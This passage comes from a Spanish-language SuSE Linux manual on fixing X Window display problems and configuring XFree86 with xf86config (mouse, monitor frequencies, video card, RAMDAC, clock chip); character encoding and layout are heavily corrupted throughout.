  15758. El sistema X Window estß funcionando pero la imagen estß distorsionada o
  15759. la idea es la optimizaci≤n de la imagen.
  15760.  
  15761.   o   La mayor causa de distorsiones es una frecuencia vsync      demasiado alta.
  15762.       Como hsync      y DotClock dependen linealmente de ello resultan diversos
  15763.       problemas.
  15764.  
  15765.       La  reducci≤n  del  refresco  de  pantalla  (p. ej. a  80  Hz)  puede  resolver  el
  15766.       problema y la imagen a·n sigue estando prßcticamente libre de parpadeo.
  15767.       Ademßs a esta frecuencia de refresco la imagen es mßs nφtida, como con
  15768.       un refresco de 160 Hz.
  15769.  
  15770.       Lo mejor es intentar bajar el refresco del monitor. Para ello se selecciona
  15771.       en SaX  la ficha `Monitor' y bajo `Extendido' se configura una fre-
  15772.       cuencia de refresco mßs baja.  Para monitores modernos una frecuencia
  15773.       de refresco entre 80 y 90 Hz resulta agradable.
  15774.   o   A veces hay problemas con el ''Hardwarecursor'':  Puede ocurrir que se
  15775.       muestre un bloque rectangular o algo que se parece a un c≤digo de barras
  15776.       en lugar del cursor del mouse (una flecha).  Esto se resuelve indicando la
  15777.       Opci≤n  "sw_cursor"                en la Secci≤n  "Device"              .
  15778.   o   Si  existen  problemas  de  configuraci≤n  en  general,  consulte  primero  los
  15779.       ficheros README en el directorio /usr/X11R6/lib/X11/doc/ (estßn or-
  15780.       denados seg·n los nombres de los fabricantes de chipsets), las pßginas de
  15781.       manual (Manpages) acerca de los servidores X y tambiΘn los FAQ acer-
  15782.       ca de XFree86 (http://www.xfree86.org); otra fuente de informaci≤n
  15783.       son las pßginas de SuSE     sobre actualizaciones:
  15784.  
  15785.                         http://www.suse.de/en/support/xsuse/
  15786.  
  15787. La  siguiente  lista  estß  ordenada  seg·n  la  probabilidad  de  Θxito,  por  lo  que
  15788. generalmente el problema se resuelve con la primera opci≤n y si no con la
  15789. segunda. La tercera opci≤n es el ·ltimo recurso que emplea un poco de fuerza
  15790. ;-)
  15791.  
  15792. Todas  las  opciones  que  figuran  aquφ  se  anotan  en  la  secci≤n  ''Device''  del
  15793. fichero /etc/XF86Config.
  15794.  
  15795.   o   En lugar de cursor, un c≤digo de barras o un rectßngulo coloreado.
  15796.  
  15797.       1.  Opci≤n sw_cursor         en la secci≤n ''Device''.
  15798.  
  15799.       2.  Opci≤n no_imageblt           o no_bitblt        .
  15800.  
  15801.  
  15802.                                                                                                                                    *
  15803.  *   247
  15804. 8.  El sistema X Window____________________________________________________________________________________________________________*
  15805.  *_______________________________________@
  15806.  
  15807.  
  15808.  
  15809.                                  3.  Opci≤n noaccel       .
  15810.                              o   Imagen  estrecha  o  aplastada  con  los  ajustes  de  la  pantalla  en  sus
  15811.  
  15812.                                  lφmites.
  15813.  
  15814.                                  1.  Probablemente  la  frecuencia  de  refresco  o  la  frecuencia  de  sin-
  15815.                                      cronizaci≤n  horizontal  hsync       son  demasiado  altas  y  en  el  lφmite
  15816.                                      de la pantalla. Soluci≤n: Reduzca la frecuencia wertvsync y/o hsync     .
  15817.  
  15818.                                  2.  Mover  la  imagen  con  el  programa  xvidtune .   Tal  vez  justamente  el
  15819.                                      modo escogido no ''encaja'' bien.
  15820.  
  15821.                                  3.  A±adir +hsync  +vsync            a la lφnea ''Modeline'' e intentar reemplazar +
  15822.                                      por - .
  15823.  
  15824.                              o   Quedan  rallas  o  restos  de  ventanas  en  la  pantalla  cuando  se  estß
  15825.                                  moviendo ventanas. Estos restos no desaparecen antes de un refresco
  15826.                                  total del escritorio.
  15827.  
  15828.                                  1.  Reducir frecuencia de refresco o resoluci≤n.
  15829.  
  15830.                                  2.  Seg·n el chipset grßfico introducir opciones que figuran en los ficheros
  15831.                                      README del directorio /usr/X11R6/lib/X11/doc/.  Por ejemplo las
  15832.                                      opciones  fifo_conservative                 o  slow_dram        .   Atenci≤n:   íLas  op-
  15833.                                      ciones dependen evidentemente del chipset!
  15834.  
  15835.                                  3.  Usar   la   opci≤n   noaccel      ,   tal   vez   ya   alcanza   no_imageblt            o
  15836.                                      no_bitblt        .
  15837.  
  15838.                              o   ''Noise'' ~ Rallas intermitentes que aparecen en pantalla al mover una
  15839.                                  ventana o al mirar un vφdeo, pero que desaparecen cuando la imagen
  15840.                                  es estßtica.
  15841.  
  15842.                                  1.  Reducir frecuencia de refresco, profundidad de color o la resoluci≤n.
  15843.  
  15844.                                  2.  Reducir la frecuencia de la memoria o quitar (o bien introducir) ''Wait-
  15845.                                      states''.   Se  trata  de  una  operaci≤n  que  funciona  a  veces  con  la  op-
  15846.                                      ci≤n set_mclk        (íno para todos los chipsets!); hay mßs detalles en los
  15847.                                      README.   Cuidado,  la  opci≤n  es  peligrosa  ya  que  se  puede  forzar  la
  15848.                                      frecuencia de la tarjeta grßfica.
  15849.  
  15850.                                  3.  Tal vez la frecuencia del bus es demasiado alta; compruebe la frecuen-
  15851.                                      cia del bus PCI/VLB o ISA.
  15852.  
  15853.                              o   Iniciando XFree86 la pantalla se pone negra.
  15854.  
  15855.                                  1.  Reducir la frecuencia de refresco.
  15856.  
  15857.                                  2.  Considere  otras  fuentes  de  error  como  conflictos  de  IRQ  (p. ej.   un
  15858.                                      mouse PS/2 necesita la IRQ 12).
  15859.  
  15860.  
  15861.                            8.2       Configuraci≤n con xf86config
  15862.  
  15863.                            SaX  como  herramienta  de  configuraci≤n  supera  casi  siempre  al  programa
  15864.                            xf86config cuando se trata de configuraciones simples del sistema X Window.
  15865.                            En las pocas ocasiones en las que SaX  no llega a configurar correctamente el
  15866.                            servidor X, esto funciona casi siempre con xf86config .
  15867.  
  15868.                            Se necesita una serie de datos para la configuraci≤n:
  15869.  
  15870.  
  15871. 248
  15872.        ____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
  15873.  *______________________
  15874.  
  15875.  
  15876.  
  15877.   o   Tipo de mouse, puerto de conexi≤n y velocidad de transferencia en bau-
  15878.       dios (lo ·ltimo suele ser opcional).
  15879.   o   Especificaci≤n de la tarjeta de vφdeo.
  15880.  
  15881.   o   Especificaci≤n del monitor (frecuencias, etc.).
  15882.  
  15883. Conociendo estos datos se puede comenzar con la configuraci≤n,  que sola-
  15884. mente puede ser ejecutada por el usuario `root'.
  15885.  
  15886. La configuraci≤n se inicia con:
  15887.  
  15888. tierra:/root  #  /usr/X11R6/bin/xf86config
  15889.  
  15890.  
  15891. Mouse
  15892.  
  15893. DespuΘs de una pantalla de bienvenida, el primer men· pregunta por el tipo
  15894. de mouse. Aparecen las siguientes opciones:
  15895.  
  15896.        _______________________________________________________________________________________________________________________||
  15897.        ||||||||   1.  Microsoft  compatible  (2-button  protocol)                                                              |
  15898.        ||||||||   2.  Mouse  Systems  (3-button  protocol)                                                                     |
  15899.        ||||||||                                                                                                                |
  15900.        ||||||||   3.  Bus  Mouse                                                                                               |
  15901.        ||||||||   4.  PS/2  Mouse                                                                                              |
  15902.        ||||||||   5.  Logitech  Mouse  (serial,  old  type,  Logitech  protocol)                                               |
  15903.        ||||||||   6.  Logitech  MouseMan  (Microsoft  compatible)                                                              |
  15904.        ||||||||                                                                                                                |
  15905.        ||||||||   7.  MM  Series                                                                                               |
  15906.        ||||||||   8.  MM  HitTablet                                                                                            |
  15907.        ||||||||_______________________________________________________________________________________________________________ |
  15908.  
  15909.               Mensaje en pantalla 8.2.1: Selecci≤n de mouse para los X
  15910.  
  15911.  
  15912. Configurando el tipo de mouse hay que considerar que, muchos de los mouse
  15913. mßs recientes de Logitech son compatibles con Microsoft o que usan el pro-
  15914. tocolo MouseMan.  íLa selecci≤n de Bus  Mouse         se refiere a todos los tipos
  15915. de mouse de bus, tambiΘn los de Logitech!
  15916.  
  15917. El tipo de mouse adecuado se selecciona indicando el n·mero al comienzo
  15918. de  la  fila.   DespuΘs  (p. ej.  seleccionando  el  tipo  1)  aparece  la  pregunta  por
  15919. la  activaci≤n  de  ChordMiddle          .   Se  trata  de  una  opci≤n  necesaria  para  la
  15920. activaci≤n del bot≤n del medio de algunos mouse de Logitech o para algunos
  15921. Trackballs:
  15922.       Please  answer  the  following  question  with  either  `y'  or  `n'.
  15923.  
  15924.       Do  you  want  to  enable  ChordMiddle?
  15925. La  afirmaci≤n  (`y')  de  la  siguiente  pregunta  permite  la  emulaci≤n  de  un
  15926. tercer bot≤n de mouse para aquellos que solo tienen dos botones:
  15927.       Please  answer  the  following  question  with  either  `y'  or  `n'.
  15928.       Do  you  want  to  enable  Emulate3Buttons?
  15929. El tercer bot≤n de mouse se emula interpretando el uso de los dos botones a
  15930. la vez, como el del bot≤n del medio.
  15931.  
  15932. DespuΘs se pregunta por el puerto en el cual estß el mouse:
  15933.       Now  give  the  full  device  name  that  the  mouse  is  connected  to,  for
  15934.       example  /dev/tty00.  Just  pressing  enter  will  use  the  default,
  15935.       /dev/mouse.  Mouse  device:
  15936. Durante la instalaci≤n ya se ha definido un puerto de mouse, asφ que se puede
  15937. usar aquφ esta definici≤n (/dev/mouse         ).
  15938.  
  15939.  
  15940.  
  15941.                                                                                                                                    *
  15942.  *   249
  15943. 8.  El sistema X Window____________________________________________________________________________________________________________*
  15944.  *_______________________________________@
  15945.  
  15946.  
  15947.  
  15948.                            Teclado
  15949.                            Ahora viene la pregunta, si se deberφa asignar a la tecla izquierda de | ____
  15950.                                                                     ____                           A____l|tel
  15951.                            valor Meta     (ESC) y a la derecha de |A____l|tel valor ModeShift         (AltGr):
  15952.                                  Please  answer  the  following  question  with  either  `y'  or  `n'.
  15953.                                  Do  you  want  to  enable  these  bindings  for  the  Alt  keys?
  15954.                            Es aconsejable_elegir_`y' para llegar a los caracteres especiales que se alcan-_
  15955.                            zan con |A_________l|ty GrtambiΘn para poder usar la tecla izquierda de |A____l|tcomo
  15956.                            Meta-tecla3 .
  15957.  
  15958.  
  15959.  
  15960.                            Monitor
  15961.  
  15962.                            Ahora  hay  que  especificar  el  monitor.   Los  datos  crφticos  son  la  frecuencia
  15963.                            vertical y horizontal que estßn generalmente documentados en el manual del
  15964.                            monitor.
  15965.                            ________________________________________________________________________________________________________*
  15966.  *________||
  15967.                            |  íIndicar rangos de frecuencia equivocados puede provocar la destrucci≤n                              *
  15968.  *        ||||
  15969.                            |  del monitor! El sistema X Window solo usa los modos de vφdeo que envφan                              *
  15970.  *        |||
  15971.                            |                                                                                                       *
  15972.  *        |||
  15973.                            |  se±ales localizadas dentro del rango de frecuencias admitidas.                                       *
  15974.  *        |||
  15975.                            |_______________________________________________________________________________________________________*
  15976.  *________|||_
  15977.  
  15978.                            Los  valores  admisibles  para  algunos  monitores  se  encuentran  en  /usr/
  15979.                            X11R6/lib/X11/doc/Monitors4
  15980.  
  15981.                            Para elegir la frecuencia horizontal se presenta la siguiente selecci≤n:
  15982.  
  15983.                            ________________________________________________________________________________________________________*
  15984.  *________||||
  15985.                            | hsync  in  kHz;  monitor  type  with  characteristic  modes                                           *
  15986.  *         |
  15987.                            |   1  31.5;                       Standard  VGA,  640x480  @  60  Hz                                   *
  15988.  *         |
  15989.                            |   2  31.5  -  35.1;             Super  VGA,  800x600  @  56  Hz                                       *
  15990.  *         |
  15991.                            |   3  31.5,  35.5;              8514  Compatible,  1024x768  @  87  Hz  interl.                        *
  15992.  *         |
  15993.                            |                                                                                                       *
  15994.  *         |
  15995.                            |                                     (no  800x600)                                                     *
  15996.  *         |
  15997.                            |   4  31.5,  35.15,  35.5;   Super  VGA,  1024x768  @  87  Hz  il.,                                    *
  15998.  *         |
  15999.                            |                                     800x600  @  56  Hz                                                *
  16000.  *         |
  16001.                            |                                                                                                       *
  16002.  *         |
  16003.                            |   5  31.5  -  37.9;             Extended  Super  VGA,  800x600  @  60  Hz,                            *
  16004.  *         |
  16005.                            |                                     640x480  @  72  Hz                                                *
  16006.  *         |
  16007.                            |   6  31.5  -  48.5;             Non-Interlaced  SVGA,  1024x768  @  60  Hz,                           *
  16008.  *         |
  16009.                            |                                     800x600  @  72  Hz                                                *
  16010.  *         |
  16011.                            |                                                                                                       *
  16012.  *         |
  16013.                            |   7  31.5  -  57.0;             High  Frequency  SVGA,  1024x768  @  70  Hz                           *
  16014.  *         |
  16015.                            |   8  31.5  -  64.3;             Monitor  that  can  do  1280x1024  @  60  Hz                          *
  16016.  *         |
  16017.                            |   9  31.5  -  79.0;             Monitor  that  can  do  1280x1024  @  74  Hz                          *
  16018.  *         |
  16019.                            | 10  Enter  your  own  horizontal  sync  range                                                         *
  16020.  *         |
  16021.                            |                                                                                                       *
  16022.  *         |
  16023.                            | Enter  your  choice  (1-10):                                                                          *
  16024.  *         |
  16025.                            |_______________________________________________________________________________________________________*
  16026.  *________ |
  16027.  
  16028.                            Mensaje  en  pantalla  8.2.2:   Definici≤n  de  las  frecuencias  horizontales  del
  16029.                            monitor
  16030.  
  16031.  
  16032.                            Solo en caso de no conocer los datos exactos del monitor,  se escogerß una
  16033.                            de las opciones predefinidas.  Con `10' es posible introducir las frecuencias
  16034.                            exactas.
  16035.  
  16036.                            DespuΘs del dißlogo que pregunta por las frecuencias horizontales hay que
  16037.                            definir las verticales. Aquφ se presenta tambiΘn una selecci≤n:
  16038.                            _____________________________________________3
  16039.                              p. ej.en Emacs
  16040.                            4 íNo hay garantφa para estos valores!
  16041.  
  16042.  
  16043. 250
  16044.        ____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
  16045.  *______________________
  16046.  
  16047.        _______________________________________________________________________________________________________________________||
  16048.        ||||||||   1  50-70                                                                                                     |
  16049.        ||||||||   2  50-90                                                                                                     |
  16050.        ||||||||                                                                                                                |
  16051.        ||||||||   3  50-100                                                                                                    |
  16052.        ||||||||   4  40-150                                                                                                    |
  16053.        ||||||||   5  Enter  your  own  vertical  sync  range                                                                   |
  16054.        ||||||||                                                                                                                |
  16055.        ||||||||                                                                                                                |
  16056.        ||||||||   Enter  your  choice  (1-5):                                                                                  |
  16057.        ||||||||_______________________________________________________________________________________________________________ |
  16058.  
  16059.              Mensaje en pantalla 8.2.3: Frecuencias verticales detalladas
  16060.  
  16061.  
  16062.  
  16063. Como en la anterior pregunta, es mejor introducir los valores exactos en lugar
  16064. de recurrir a uno de los rangos dados de `1' a `4'.
  16065.  
  16066. DespuΘs se pide introducir un nombre para la descripci≤n del monitor,
  16067.       Enter  an  identifier  for  your  monitor  definition:
  16068.  
  16069. el nombre del fabricante,
  16070.       Enter  the  vendor  name  of  your  monitor:
  16071.  
  16072. y el modelo:
  16073.       Enter  the  model  name  of  your  monitor:
  16074.  
  16075. En las anteriores preguntas se puede introducir el_nombre_correspondiente o
  16076. usar  los  valores  predeterminados  pulsando  |_______E|nter.   Con  esto  se  finaliza  la
  16077. especificaci≤n del monitor.
  16078.  
  16079.  
  16080. Tarjeta de vφdeo/servidor X
  16081.  
  16082. Se contin·a con la especificaci≤n de la tarjeta grßfica usada:
  16083.       Do  you  want  to  look  at  the  card  database?
  16084.  
  16085. Introduciendo `y' aparece una lista con tarjetas de vφdeo preconfiguradas.
  16086.  
  16087. Se  puede  seleccionar  de  esta  lista  la  definici≤n  de  una  tarjeta  indicando  el
  16088. n·mero  correspondiente.   íAl  elegir  una  tarjeta  de  vφdeo  hay  que  tener  en
  16089. cuenta que incluso tarjetas del mismo tipo pueden tener variaciones respecto a
  16090. Clock-Chip y RAMDAC (ingl. Random Access Memory Digital-to-Analogue
  16091. Converter)!
  16092.  
  16093. Por eso existe mßs adelante la opci≤n de configurar Clock-Chip y RAMDAC
  16094. de manera individual, aunque la tarjeta ya haya sido elegida anteriormente de
  16095. la lista de preconfiguraciones.
  16096.  
  16097. Las definiciones del banco de datos de tarjetas, contienen informaci≤n sobre
  16098. Clock-Chip,  RAMDAC  y  el  servidor  X  a  usar.   Seg·n  el  caso,  se  a±aden
  16099. tambiΘn  datos  interesantes  sobre  la  tarjeta  en  la  secci≤n  Device  del  fichero
  16100. XF86Config.
  16101.  
  16102. Si  la  tarjeta  grßfica  buscada  no  se  encuentra  en  el  listado,  no  hay  por  quΘ
  16103. preocuparse.  Es posible volver con `q' a la configuraci≤n normal.  Al selec-
  16104. cionar una tarjeta, solamente se deberφa seleccionar una del listado, cuando
  16105. el nombre de la lista corresponde exactamente con la tarjeta usada. No se re-
  16106. comienda elegir una tarjeta con un nombre parecido, ya que esto no significa
  16107. que el hardware tambiΘn lo sea.
  16108.  
  16109. En el apartado 8.3 en la pßgina 256Optimizaci≤n de la instalaci≤n del sistema
  16110. X Windowsection.8.3 hay informaci≤n adicional sobre la configuraci≤n de la
  16111. tarjeta grßfica.
  16112.  
  16113.  
  16114.                                                                                                                                    *
  16115.  *   251
  16116. 8.  El sistema X Window____________________________________________________________________________________________________________*
  16117.  *_______________________________________@
  16118.  
  16119.  
  16120.  
  16121.                            DespuΘs de haber especificado la tarjeta viene la selecci≤n del servidor X:
  16122.                            ________________________________________________________________________________________________________*
  16123.  *________||||
  16124.                            |   1  The  XF86_Mono  server.  This  a  monochrome  server  that  should  work  on                     *
  16125.  *         |
  16126.                            |      any  VGA-compatible  card,  in  640x480  (more  on  some  SVGA  chipsets).                       *
  16127.  *         |
  16128.                            |   2  The  XF86_VGA16  server.  This  is  a  16-color  VGA  server  that  should                       *
  16129.  *         |
  16130.                            |                                                                                                       *
  16131.  *         |
  16132.                            |      work  on  any  VGA-compatible  card.                                                             *
  16133.  *         |
  16134.                            |   3  The  XF86_SVGA  server.  This  is  a  256  color  SVGA  server  that  supports                   *
  16135.  *         |
  16136.                            |      a  number  of  SVGA  chipsets.  It  is  accelerated  on  some  Cirrus  and  WD                   *
  16137.  *         |
  16138.                            |      chipsets;  it  supports  16/32-bit  color  on  certain  Cirrus                                   *
  16139.  *         |
  16140.                            |                                                                                                       *
  16141.  *         |
  16142.                            |      configurations.                                                                                  *
  16143.  *         |
  16144.                            |   4  The  accelerated  servers.  These  include  XF86_S3,  XF86_Mach32,                               *
  16145.  *         |
  16146.                            |      XF86_Mach8,  XF86_8514,  XF86_P9000,  XF86_AGX,  XF86_W32  and                                   *
  16147.  *         |
  16148.                            |                                                                                                       *
  16149.  *         |
  16150.                            |      XF86_Mach64.                                                                                     *
  16151.  *         |
  16152.                            |                                                                                                       *
  16153.  *         |
  16154.                            |   These  four  server  types  correspond  to  the  four  different  "Screen"                          *
  16155.  *         |
  16156.                            |   sections  in  XF86Config  (vga2,  vga16,  svga,  accel).                                            *
  16157.  *         |
  16158.                            |                                                                                                       *
  16159.  *         |
  16160.                            |                                                                                                       *
  16161.  *         |
  16162.                            |   5  Choose  the  server  from  the  card  definition,  XF86_S3.                                      *
  16163.  *         |
  16164.                            |                                                                                                       *
  16165.  *         |
  16166.                            |   Which  one  of  these  four  screen  types  do  you  intend  to  run                                *
  16167.  *         |
  16168.                            |                                                                                                       *
  16169.  *         |
  16170.                            |   by  default  (1-4)?                                                                                 *
  16171.  *         |
  16172.                            |_______________________________________________________________________________________________________*
  16173.  *________ |
  16174.                                              Mensaje en pantalla 8.2.4: Selecci≤n del servidor X
  16175.  
  16176.  
  16177.                            1   Un  servidor  para  monitores  monocromßticos.    Deberφa  funcionar  con
  16178.                                  cualquier  tarjeta  grßfica  compatible  a  VGA  con  una  resoluci≤n  mφnima
  16179.                                  de 640x480 puntos.
  16180.                            2   El servidor de 16 colores XF86`VGA16. Deberφa funcionar con cualquier
  16181.                                  tarjeta compatible a VGA.
  16182.                            3   El servidor SVGA XF86`SVGA. Este servidor de 256 colores soporta una
  16183.                                  gran  cantidad  de  tarjetas  SVGA.  Algunas  tarjetas  de  Cirrus  y  de  WD
  16184.                                  aprovechan la aceleraci≤n de grßficos. Hay tarjetas de Cirrus que permiten
  16185.                                  una profundidad de color 16 o 32-Bit en modo color.
  16186.                            4   Servidor  para  tarjetas  aceleradoras.   Hay  varios  servidores  a  disposici≤n
  16187.                                  (ver mßs abajo)
  16188.                            5   Esta opci≤n solo existe cuando se ha elegido una tarjeta en la lista anterior.
  16189.                                  Se propone el servidor adecuado para la tarjeta.
  16190.  
  16191.                            Cuando  se  ha  elegido  un  servidor,  aparece  una  pregunta  acerca  de  la  gen-
  16192.                            eraci≤n de un enlace simb≤lico del servidor elegido en /usr/X11R6/bin/X.
  16193.                            Al afirmar la pregunta con `y', el programa pide la confirmaci≤n para colocar
  16194.                            el enlace en /var/X11R6/bin:
  16195.                                  Do  you  want  to  set  it  in  /var/X11R6/bin?
  16196.  
  16197.                            Afirme  esta  pregunta,  porque  es  posible  que  no  necesariamente  se  pueda
  16198.                            escribir en el ßrbol /usr.
  16199.  
  16200.                            Ahora aparece un men· con los servidores X disponibles para tarjetas aceler-
  16201.                            adoras, si en la selecci≤n anterior se ha escogido `4':
  16202.  
  16203.                            Estos servidores son especiales y soportan las prestaciones adicionales de las
  16204.                            correspondientes tarjetas. La colocaci≤n del enlace supone que el servidor X
  16205.                            correcto ya fue instalado durante la instalaci≤n del sistema X Window.
  16206.  
  16207.                            DespuΘs de la selecci≤n del servidor X, hace falta especificar la tarjeta grßfica
  16208.                            en mßs detalle. Primero se define la cantidad de memoria instalada.
  16209.  
  16210.  
  16211. 252
  16212.        ____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
  16213.  *______________________
  16214.  
  16215.        _______________________________________________________________________________________________________________________||
  16216.        ||||||||   Select  an  accel  server:                                                                                   |
  16217.        ||||||||                                                                                                                |
  16218.        ||||||||                                                                                                                |
  16219.        ||||||||   1  XF86_S3                                                                                                   |
  16220.        ||||||||   2  XF86_Mach32                                                                                               |
  16221.        ||||||||   3  XF86_Mach8                                                                                                |
  16222.        ||||||||   4  XF86_8514                                                                                                 |
  16223.        ||||||||                                                                                                                |
  16224.        ||||||||   5  XF86_P9000                                                                                                |
  16225.        ||||||||   6  XF86_AGX                                                                                                  |
  16226.        ||||||||   7  XF86_W32                                                                                                  |
  16227.        ||||||||   8  XF86_MACH64                                                                                               |
  16228.        ||||||||                                                                                                                |
  16229.        ||||||||                                                                                                                |
  16230.        ||||||||   Which  accel  server:                                                                                        |
  16231.        ||||||||_______________________________________________________________________________________________________________ |
  16232.  
  16233.                    Mensaje en pantalla 8.2.5: Servidores X acelerados
  16234.  
  16235.        _______________________________________________________________________________________________________________________||||
  16236.        ||||||||   How  much  video  memory  do  you  have  on  your  video  card:                                              |
  16237.        ||||||||                                                                                                                |
  16238.        ||||||||   1  256K                                                                                                      |
  16239.        ||||||||   2  512K                                                                                                      |
  16240.        ||||||||   3  1024K                                                                                                     |
  16241.        ||||||||                                                                                                                |
  16242.        ||||||||   4  2048K                                                                                                     |
  16243.        ||||||||   5  4096K                                                                                                     |
  16244.        ||||||||   6  Other                                                                                                     |
  16245.        ||||||||                                                                                                                |
  16246.        ||||||||                                                                                                                |
  16247.        ||||||||   Enter  your  choice:                                                                                         |
  16248.        ||||||||_______________________________________________________________________________________________________________ |
  16249.  
  16250.     Mensaje en pantalla 8.2.6: Definici≤n de la cantidad de memoria grßfica
  16251. DespuΘs pregunta por un nombre, el fabricante y el tipo de tarjeta grßfica.  Si
  16252. se ha elegido antes la tarjeta desde el banco de datos es suficiente con pulsar
  16253.  _-    |||||||||__.
  16254.  
  16255.       Enter  an  identifier  for  your  video  card  definition:
  16256.  
  16257.       Enter  the  vendor  name  of  your  video  card:
  16258.  
  16259.       Enter  the  model  (board)  name  of  your  video  card:
  16260.  
  16261. Si  se  ha  elegido  como  servidor  X  uno  del  tipo  acelerado,  aparece  ahora  la
  16262. pregunta por el ''RAMDAC setting''. Solo es importante para tarjetas del tipo
  16263. S3 o AGX:
  16264.  
  16265. Generalmente  lo  mejor  es  pulsar | _____|_-y  no  seleccionar  nada,  salvo  que  se
  16266. haya elegido una tarjeta que soporta una configuraci≤n de RAMDAC especial.
  16267. Este caso estarß indicado y se recomienda seleccionarlo realmente.
  16268.  
  16269. DespuΘs  de  haber  contestado  a  esto  se  puede  elegir  el  Clock-Chip  de  las
  16270. tarjetas aceleradas si es que lo llevan.  Seleccionando un Clock-Chip ya no
  16271. se necesitan lφneas de Clock, ya que los valores-Clock necesarios pueden ser
  16272. programados:
  16273.  
  16274. Si se usa una tarjeta grßfica sin ''Clock-Chip'', es suficiente con pulsar |______|-,
  16275. para no seleccionar ninguno.  Si la tarjeta fue seleccionada en el listado de
  16276. tarjetas se indica automßticamente el Clock-Chip que exista.
  16277.  
  16278. Sin  haber  seleccionado  ning·n  Clock-Chip,  xf86config  propone  iniciar  el
  16279. programa  X  -probeonly  para  determinar  los  Clock-Timings  que  soporta  la
  16280.  
  16281.  
  16282.                                                                                                                                    *
  16283.  *   253
  16284. 8.  El sistema X Window____________________________________________________________________________________________________________*
  16285.  *_______________________________________@
  16286.  
  16287.                            |                                                                                                       *
  16288.  *         |
  16289.                            ________________________________________________________________________________________________________*
  16290.  *________||||
  16291.                            |    1   AT&T  20C490  (S3  server)                                       att20c490                     *
  16292.  *         |
  16293.                            |    2   AT&T  20C498/21C498/22C498  (S3)                            att20c498                          *
  16294.  *         |
  16295.                            |    3   AT&T  20C505  (S3)                                                  att20c505                  *
  16296.  *         |
  16297.                            |                                                                                                       *
  16298.  *         |
  16299.                            |    4   BrookTree  BT481  (AGX)                                          bt481                         *
  16300.  *         |
  16301.                            |    5   BrookTree  BT482  (AGX)                                          bt482                         *
  16302.  *         |
  16303.                            |    6   BrookTree  BT485/9485  (S3)                                    bt485                           *
  16304.  *         |
  16305.                            |    7   Sierra  SC15025  (S3,  AGX)                                     sc15025                        *
  16306.  *         |
  16307.                            |                                                                                                       *
  16308.  *         |
  16309.                            |    8   S3  GenDAC  (86C708)  (autodetected)                       s3gendac                            *
  16310.  *         |
  16311.                            |    9   S3  SDAC  (86C716)  (autodetected)                           s3_sdac                           *
  16312.  *         |
  16313.                            |   10   STG-1700  (S3)                                                      stg1700                    *
  16314.  *         |
  16315.                            |   11   TI  3020  (S3)                                                        ti3020                   *
  16316.  *         |
  16317.                            |                                                                                                       *
  16318.  *         |
  16319.                            |   12   TI  3025  (S3)                                                        ti3025                   *
  16320.  *         |
  16321.                            |   13   TI  3020  (S3,  autodetected)                                  ti3020                          *
  16322.  *         |
  16323.                            |   14   TI  3025  (S3,  autodetected)                                  ti3025                          *
  16324.  *         |
  16325.                            |   15   TI  3026  (S3,  autodetected)                                  ti3026                          *
  16326.  *         |
  16327.                            |                                                                                                       *
  16328.  *         |
  16329.                            |   16   IBM  RGB  514  (S3,  autodetected)                            ibm_rgb514                       *
  16330.  *         |
  16331.                            |   17   IBM  RGB  524  (S3,  autodetected)                            ibm_rgb524                       *
  16332.  *         |
  16333.                            |   18   IBM  RGB  525  (S3,  autodetected)                            ibm_rgb525                       *
  16334.  *         |
  16335.                            |                                                                                                       *
  16336.  *         |
  16337.                            |   19   IBM  RGB  526  (S3)                                                  ibm_rgb526                *
  16338.  *         |
  16339.                            |   20   IBM  RGB  528  (S3,  autodetected)                            ibm_rgb528                       *
  16340.  *         |
  16341.                            |   21   ICS5342  (S3,  ARK)                                                ics5342                     *
  16342.  *         |
  16343.                            |   22   ICS5341  (W32)                                                      ics5341                    *
  16344.  *         |
  16345.                            |                                                                                                       *
  16346.  *         |
  16347.                            |   23   IC  Works  w30C516  ZoomDac  (ARK)                            zoomdac                          *
  16348.  *         |
  16349.                            |   24   Normal  DAC                                                           normal                   *
  16350.  *         |
  16351.                            |_______________________________________________________________________________________________________*
  16352.  *________ |
  16353.  
  16354.                                              Mensaje en pantalla 8.2.7: Indicaci≤n del RAMDAC
  16355.  
  16356.                            ________________________________________________________________________________________________________*
  16357.  *________||||
  16358.                            |   1   Chrontel  8391                                                            ch8391                *
  16359.  *         |
  16360.                            |   2   ICD2061A  and  compatibles  (ICS9161A,  DCS2824)             icd2061a                           *
  16361.  *         |
  16362.                            |   3   ICS2595                                                                      ics2595            *
  16363.  *         |
  16364.                            |   4   ICS5342  (similar  to  SDAC,  but  not  completely  compatible)                                 *
  16365.  *         |
  16366.                            |                                                                                                       *
  16367.  *         |
  16368.                            |                                                                                        ics5342        *
  16369.  *         |
  16370.                            |   5   ICS5341                                                                      ics5341            *
  16371.  *         |
  16372.                            |   6   S3  GenDAC  (86C708)  and  ICS5300  (autodetected)           s3gendac                           *
  16373.  *         |
  16374.                            |   7   S3  SDAC  (86C716)                                                        s3_sdac               *
  16375.  *         |
  16376.                            |                                                                                                       *
  16377.  *         |
  16378.                            |   8   STG  1703  (autodetected)                                             stg1703                   *
  16379.  *         |
  16380.                            |   9   Sierra  SC11412                                                           sc11412               *
  16381.  *         |
  16382.                            | 10   TI  3025  (autodetected)                                               ti3025                    *
  16383.  *         |
  16384.                            | 11   TI  3026  (autodetected)                                               ti3026                    *
  16385.  *         |
  16386.                            |                                                                                                       *
  16387.  *         |
  16388.                            | 12   IBM  RGB  51x/52x  (autodetected)                                  ibm_rgb5xx                    *
  16389.  *         |
  16390.                            |_______________________________________________________________________________________________________*
  16391.  *________ |
  16392.  
  16393.                                           Mensaje en pantalla 8.2.8: Determinaci≤n del Clockchip
  16394.  
  16395. 254
  16396.        ____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
  16397.  *______________________
  16398.  
  16399.  
  16400.  
  16401. tarjeta.  Estos  se  apuntarßn  automßticamente  en  una  lφnea  de  Clocks      en  el
  16402. fichero XF86Config.
  16403. Aquφ  hay  que  indicar  claramente,  por  quΘ  los  Clock-Timings  que  se  deter-
  16404. minan  automßticamente  pueden  ser  muy  peligrosos:  Si  la  tarjeta  tiene  un
  16405. Clock-Chip programable, el servidor X no puede cambiar entre los distintos
  16406. Clocks de la tarjeta y por tanto solo reconoce los Clocks 0, 1 y a veces 2. Los
  16407. demßs valores son mßs o menos casuales (generalmente los Clocks 0, 1 y 2
  16408. se repiten y por eso se reemplazan por ceros).
  16409.  
  16410. Los  clocks  distintos  de  0  y  1  dependen  mucho  de  la  pre-programaci≤n  del
